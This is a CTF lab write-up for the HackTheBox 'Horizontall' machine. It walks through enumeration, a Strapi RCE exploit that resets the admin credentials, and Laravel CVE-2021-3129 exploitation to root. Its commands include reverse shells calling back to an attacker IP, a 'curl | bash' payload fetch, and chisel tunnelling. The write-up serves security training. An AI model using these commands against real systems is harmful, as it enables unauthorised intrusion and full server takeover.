> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md). # Horizontall HackTheBox Writeup Horizontall HackTheBox Easy Linux machine writeup covering Information Leakage, Port Forwarding, Strapi CMS Exploitation, Laravel Exploitation, with practical enumeration, exploitation, foothold, and {% embed url="" %} {% hint style="warning" %} **Skills:** * Information Leakage * Port Forwarding * Strapi CMS Exploitation * Laravel Exploitation {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts ```

**Port version scan with Nmap 22.80:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,80 10.10.11.105 -oN targeted ```

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

## Scan Port 80

### Subdomain Fuzzing (gobuster) We then launch a subdomain search with **Gobuster**: ```bash gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` We find an interesting subdomain: **api-prod.horizontall.htb**.

We add it to **/etc/hosts**

### API Directory Fuzzing We perform an analysis of the directories accessible on the API subdomain: ``` gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` We find: * admin * users * reviews

```bash gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ``` ### Strapi CMS Exploitation (RCE) We are looking for a vulnerability for Strapi with **searchsploit**: ``` searchsploit -m multiple/webapps/50239.py ```

We use the exploit: ```bash python3 50239.py http://api-prod.horizontall.htb ```

This provides us with administrator credentials {% code overflow="wrap" %} ```javascript [+] Your email is: admin@horizontall.htb [+] Your new credentials are: admin:SuperStrongPassword1 [+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0 ``` {% endcode %}

We retrieve a password hash of the user that has just been created: * admin * $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

### Obtaining a Reverse Shell We create an **index.html** containing a reverse shell payload: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.75/443 0>&1 ``` We launch a web server: ```bash python3 -m http.server 80 ``` We open a listening connection: ```bash nc -nlvp 443 ``` Then we execute the payload on the target: ```bash curl http://10.10.14.75:80 | bash ```

#### We stabilize our shell: ```bash script /dev/null -c bash # Ctrl+Z reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)

## Privilege Escalation We then listed the ports open on the target machine to check the presence of port 8000: ```bash netstat -tuln ```

Then, we used `curl` to test access to the service on port 8000: ```bash curl 127.0.0.1:8000 ``` We then observed the presence of the Laravel CMS.

### Port Forwarding chisel port 8000 We first compiled Chisel on our local machine: {% embed url="" %} Then we transferred the Chisel executable to the victim machine via a Python3 HTTP server ```bash go build -ldflags "-s -w" . upx chisel ```

Then we transferred the Chisel executable to the victim machine via a Python3 HTTP server ```bash python3 -m http.server 8080 wget http://10.10.14.75:8080/chisel ```

On our machine, we started the Chisel server: ```bash ./chisel server -p 9000 -reverse ``` Then, on the victim machine, we configured the Chisel client to redirect port 8000 to our local machine: ```bash ./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000 ```

## Laravel CMS Exploitation (CVE-2021-3129) {% embed url="" %}

#### Executing arbitrary commands We exploit the CVE-2021-3129 vulnerability to execute arbitrary commands on the server. First, we test the execution by issuing the `id` command: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id' ``` The output confirms that we have root privileges.

### Flag root.txt :) Once access is confirmed, we retrieve the flag by reading the `/root/root.txt` file: ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt' ``` ### Obtaining Interactive Access (Reverse Shell) To obtain an interactive shell, we configure a listener on port 443: ```bash nc -nvlp 443 ``` Next, we reverse shell the target using the exploit: {% code overflow="wrap" %} ```bash python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"' ``` {% endcode %} We then gain root access on the target machine.

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